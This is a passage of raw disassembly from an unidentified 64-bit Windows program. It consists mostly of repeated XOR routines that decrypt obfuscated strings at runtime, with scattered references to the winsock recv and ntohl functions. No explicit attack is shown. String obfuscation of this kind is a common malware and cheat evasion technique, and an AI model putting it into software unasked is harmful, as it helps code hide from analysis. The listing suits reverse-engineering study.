movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005b740
lea rdx, [0x14029c7ec]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x631]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061da0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005b7ce
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x14029c7ed]
mov rcx, rax
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061dd0
mov r10, rax
cmp byte [rax + 0x11], sil
je 0x14005ba04
mov r8d, esi
cmp r13d, 2
jl 0x14005b9c7
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005b9d0
lea rdx, [0x14029c72c]
mov rcx, r10
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061df0
mov r10, rax
cmp byte [rax + 0x12], sil
je 0x14005bc44
mov r8d, esi
cmp r13d, 2
jl 0x14005bbfd
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14005bc10
lea rdx, [0x14029c7f7]
mov rcx, r10
call fcn.140032c80
call fcn.14000bbb0
movss xmm0, dword [0x1401ca608]
call fcn.140015c30
movss xmm0, dword [0x1401ca68c]
call fcn.140015c70
movss xmm1, dword [0x1401ca660]
lea rcx, [rbp + 0x318]
movaps xmm2, xmm7
call fcn.140001570
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x6d], sil
lea rcx, [rsp + 0x6d]
mov rbx, rax
call fcn.140061e20
mov r10, rax
cmp byte [rax + 0x11], sil
je 0x14005beb4
mov r8d, esi
cmp r13d, 2
jl 0x14005be76
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005be80
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, r10
call fcn.14000baf0
movss xmm0, dword [0x1401ca5c0]
call fcn.140015cb0
movss xmm2, dword [0x1401ca5b0]
lea rcx, [rbp + 0x320]
movaps xmm1, xmm14
call fcn.140001570
mov rcx, rax
call fcn.1400339d0
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061e20
mov r10, rax
cmp byte [rax + 0x11], sil
je 0x14005c124
mov r8d, esi
cmp r13d, 2
jl 0x14005c0dc
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005c0f0
lea rdx, [0x14029c72b]
mov rcx, r10
call fcn.140032c80
cmp byte [0x14029c72b], sil
jne 0x14005c156
mov byte [0x14029c7f5], sil
mov byte [0x14029c7f4], sil
mov byte [0x14029c7f1], sil
jmp 0x14005c7a3
movss xmm0, dword [0x1401ca5f8]
call fcn.140015cb0
lea rdx, [rbp + 0xb00]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061e40
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x14005c383
mov r8d, esi
cmp r13d, 2
jl 0x14005c34b
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14005c383
mov r9, r10
nop
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005c350
lea rdx, [0x14029c7f5]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x742]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061e50
mov r10, rax
cmp byte [rax + 0xc], sil
je 0x14005c554
mov r8d, esi
cmp r13d, 2
jl 0x14005c511
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005c520
lea rdx, [0x14029c7f4]
mov rcx, r10
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061e80
mov r10, rax
cmp byte [rax + 0x11], sil
je 0x14005c794
mov r8d, esi
cmp r13d, 2
jl 0x14005c74d
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005c760
lea rdx, [0x14029c7f1]
mov rcx, r10
call fcn.140032c80
call fcn.14000bbb0
movss xmm0, dword [0x1401ca670]
call fcn.140015c30
movss xmm0, dword [0x1401ca630]
call fcn.140015c70
movss xmm1, dword [0x1401ca660]
lea rcx, [rbp + 0x328]
movaps xmm2, xmm7
call fcn.140001570
lea rdx, [rbp + 0xa53]
mov byte [rsp + 0x6e], sil
lea rcx, [rsp + 0x6e]
mov rbx, rax
call fcn.140061ea0
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005c995
mov r8d, esi
cmp r13d, 2
jl 0x14005c95b
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005c961
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, r10
call fcn.14000baf0
movss xmm0, dword [0x1401ca5c0]
call fcn.140015cb0
movss xmm2, dword [0x1401ca5b0]
lea rcx, [rbp + 0x330]
movaps xmm1, xmm14
call fcn.140001570
mov rcx, rax
call fcn.1400339d0
lea rdx, [rbp + 0xa44]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061ea0
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005cb94
mov r8d, esi
cmp r13d, 2
jl 0x14005cb52
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
